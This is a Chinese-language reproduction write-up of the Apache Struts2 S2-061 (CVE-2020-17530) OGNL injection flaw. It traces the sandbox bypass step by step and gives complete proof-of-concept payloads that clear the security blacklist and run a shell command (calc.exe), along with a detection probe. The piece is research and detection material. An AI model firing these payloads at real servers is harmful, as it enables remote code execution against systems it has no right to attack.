menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-17530)S2-061 chevron_right (CVE-2020-17530)S2-061.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-17530)S2-061.md
    11.89 KB / 2021-07-15 19:48:38
        # (CVE-2020-17530)S2-061
    
    ## 漏洞描述
    
    本次漏洞是对`S2-059`漏洞修复后的绕过。`S2-059`的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本`2.5.26`版本中OGNL表达式的执行也修复了。
    
     
    
    ## 漏洞影响版本
    
    ```
    struts 2.0.0 - struts 2.5.25
    ```
    
     
    
    ## 漏洞分析
    
    本文仅是对`S2-061`进行复现,并且对复现的过程进行记录,具体的分析思路可以参考 [安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)](https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g)
    
    *Smi1e*师傅tql 膜了 呜呜呜
    
     
    
    ## 漏洞复现
    
    ### 测试环境
    
    ```
        IDEA 2019.3.5
        Struts2 2.5.26/Struts2 2.3.33
        Apache-Tomcat-8.5.57
    ```
    
    ### 相关依赖包
    
    ------
    
    > 注意,搭建测试环境的时候,除了下载struts2的最小依赖包(`struts-2.x.xx-min-lib.zip`)以外,本次的环境,还需要依赖同版本包下的`commons-collections-x.x.jar`,可以在`struts-2.x.xx-lib.zip`中找到版本对应的包,后续会说明为什么一定需要这个包。
    
    2.3.3相关依赖包
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01af16c23332dea10c.png)](https://p1.ssl.qhimg.com/t01af16c23332dea10c.png)
    
    2.5.25相关依赖包
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01eb70f4425f4ccda6.png)](https://p3.ssl.qhimg.com/t01eb70f4425f4ccda6.png)
    
    ### 复现思路简略说明(具体思路请移步上文中的漏洞分析文章)
    
    首先找到**struts2**标签解析的入口,也是我们本次漏洞**Debug**跟踪的重点。
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01c8a8c1fbcfa0e98b.png)](https://p1.ssl.qhimg.com/t01c8a8c1fbcfa0e98b.png)
    
    全方法名:`org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag`
    
    这里是标签解析的开始方法,同时这里能够观测到整个`OgnlValueStack`对象,也是我们开始寻找利用点的地方。
    
    其中我们本次要使用的利用点就stack中断点可以找到(这一步在前面的思路分析中可以找到,但是因为debug点没有描述清楚,一开始找了很久,最后在查阅其他版本的文章分析才找到这个位置):
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01b8b198a68619856c.png)](https://p2.ssl.qhimg.com/t01b8b198a68619856c.png)
    
    从上文中的位置,我们可以得到获取这个对象的获取调用链,如下图
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t017c67f80e473f864e.png)](https://p5.ssl.qhimg.com/t017c67f80e473f864e.png)
    
    转换为ognl表达式后如下:`#application.get('org.apache.tomcat.InstanceManager')`
    
    `org.apache.catalina.core.DefaultInstanceManager` 的方法不做过多描述,借用分析文章中的一张图,可以使用这个对象中的`newInstance`方法实例化任意无参构造方法的类并返回。
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01e02bcee321468f8b.png)](https://p5.ssl.qhimg.com/t01e02bcee321468f8b.png)
    
    创建`org.apache.commons.collections.BeanMap`对象(本次的漏洞复现的主角,同时这个包就在`commons-collections-x.x.jar`中)
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t018d8bd1870f920902.png)](https://p0.ssl.qhimg.com/t018d8bd1870f920902.png)
    
    API简要描述(若想看详细方法分析,请移步到上文的分析文章):
    
    ```
           Object get("xxxx")            实际相当于调用内部对象的getXxx,比如getName()
           Object put("xxxx",Object)    实际相当于调用内部对象的,setXxxx,比如setName()
           void setBean(Object)        重新设置内部对象,设置完成后上面两个才能生效
           Object getBean()            获取内部对象,这里可以在断点的时候查看到当前map中的实际对象
    ```
    
    整体创建的Ognl表达式(这里存放到application中,方便多次请求使用)
    
    ```
    %{#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}
    ```
    
    获取到`OgnlContext`对象 (实际就是`#attr` 、`#request` 等map对象中的 `struts.valueStack`)并且设置到上一步的BeanMap中,用于绕过沙盒限制,进行内部方法调用。
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01e4878c6396e917f0.png)](https://p2.ssl.qhimg.com/t01e4878c6396e917f0.png)
    
    Ognl表达式代码
    
    ```
    %{#application.map.setBean(#request.get('struts.valueStack'))}
    ```
    
    使用3和4同样的原理,利用 `BeanMap`使用`com.opensymphony.xwork2.ognl.OgnlValueStack` 中的 `getContext` 方法间接获取到 `OgnlContext`,并且重新设置到一个新的BeanMap中。
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t010834ecdfe2788525.png)](https://p4.ssl.qhimg.com/t010834ecdfe2788525.png)
    
    这里把两个步骤的Ognl代码同时贴出来
    
    ```
       # 注意,自行调试的话,需要分两次执行
       %{#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}
    
       %{#application.map2.setBean(#application.get('map').get('context'))}
    ```
    
    使用上面的原理,使用第二步得到的`OgnlContext`获取到内部的`com.opensymphony.xwork2.ognl.SecurityMemberAccess`对象,在设置到新的BeanMap中,用于重置黑名单
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t011ca666d244cfde75.png)](https://p0.ssl.qhimg.com/t011ca666d244cfde75.png)
    
    ```
    # 注意,自行调试的话,需要分两次执行
    %{#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}
    
    %{#application.map3.setBean(#application.get('map2').get('memberAccess'))}
    ```
    
    确认一下之前存放的Map都正确存下来了,不然岂不是白忙活,其实每一步执行完后,都可以查看一次,确认每一步都是操作正确的,这里我就一次过了。
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t013ad7a8fe1ab70f12.png)](https://p3.ssl.qhimg.com/t013ad7a8fe1ab70f12.png)
    
    前面的操作都确认没有问题后,就可以调用方法重置黑名单了,主要API为`com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedClasses`和`com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedPackageNames`,如下图
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01c2e6c54f3ae65a16.png)](https://p3.ssl.qhimg.com/t01c2e6c54f3ae65a16.png)
    
    在我们这两个地方打了断点后,我们请求下面或者前面的ognl可以发现,在每次收到请求的时候,都会调用一次这里的黑名单赋值,也就是说,就算是我们在本次请求重置了黑名单,在下次请求的时候,黑名单还是会重置。因此只有前面的ognl可以持久化存储,实际利用的时候,必须要在一个请求中进行命令执行。下文还会有一个存放在`request`中的poc。
    
    初次请求赋值:
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t0142df8c70636a114c.png)](https://p1.ssl.qhimg.com/t0142df8c70636a114c.png)
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01379e24755f960042.png)](https://p0.ssl.qhimg.com/t01379e24755f960042.png)
    
    执行下面清空黑名单代码的重新赋值
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01d2429986989dd32b.png)](https://p4.ssl.qhimg.com/t01d2429986989dd32b.png)
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01baaac573fe9b5d3a.png)](https://p1.ssl.qhimg.com/t01baaac573fe9b5d3a.png)
    
    清7空黑名单的ognl代码
    
    ```
    # 注意,自行调试的话,需要分两次执行
       #application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))
    
       #application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))
    ```
    
    这里就可以使用黑名单中的`freemarker.template.utility.Execute`类中的`exec`方法执行Shell了。需要最少和前面的8一起使用,才能执行成功。可以直接使用最后面的完整poc代码执行。
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t014b4b37153a9ab5bc.png)](https://p2.ssl.qhimg.com/t014b4b37153a9ab5bc.png)
    
    [![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t0107791381f8c2bd7b.png)](https://p2.ssl.qhimg.com/t0107791381f8c2bd7b.png)
    
    执行shell的ognl代码
    
    ```
    #application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})
    ```
    
     
    
    ## 完整POC
    
    ### 使用application,就是上面思路的完整POC
    
    ```
    %{
    (#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
    (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
    
    (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
    (#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + 
    
    
    (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
    (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
    
    (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
    (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
    
    (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
    }
    ```
    
    ### 使用request,单次请求有效的完整POC (推荐)
    
    ```
    %{
    (#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
    (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
    
    (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
    (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 
    
    
    (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
    (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
    
    (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
    (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
    
    (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
    }
    ```
    
    > 注意:请使用url对以上的OGNL代码编码后,再在工具上使用。
    
     
    
    ## 检测思路
    
    在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。
    
    比如:
    
     %{ ‘gcowsec-‘ + (2000 + 20).toString()}
    
    预计会得到
    
     gcowsec-2020
    
    使用脚本判断结果中是否包含就可以了
    
     
    
    ## 总结
    
    此次漏洞只是`S2-059`修复的一个绕过,并且本次利用的核心类`org.apache.commons.collections.BeanMap`在`commons-collections-x.x.jar`包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。
    
    links
    file_download